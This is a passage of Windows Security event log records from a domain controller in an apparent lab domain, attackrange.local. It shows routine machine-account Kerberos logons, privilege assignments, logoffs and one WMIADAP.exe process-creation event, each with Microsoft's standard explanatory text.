ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249562
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5378
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64290

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249561
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5378

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249560
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5317

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249559
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5317
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64289

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249558
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5317

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249557
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE52B1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249556
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE52B1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64288

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249555
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE52B1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249554
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5250

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249553
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5250
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64287

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249552
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5250

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249551
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\System32\wbem\WMIADAP.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	wmiadap.exe /F /T /R

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249575
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE550E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249574
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE550E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64294

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE550E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249572
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE54AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249571
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE54AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64293

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249570
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE54AD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249569
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5447

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249568
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE5447
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64292

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249567
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5447

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249566
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE53E6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249565
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE53E6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64291

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249564
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE53E6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249587
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE56B0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249586
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE56B0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64298

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249585
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE56B0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249584
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE564F

Logon Type:			3

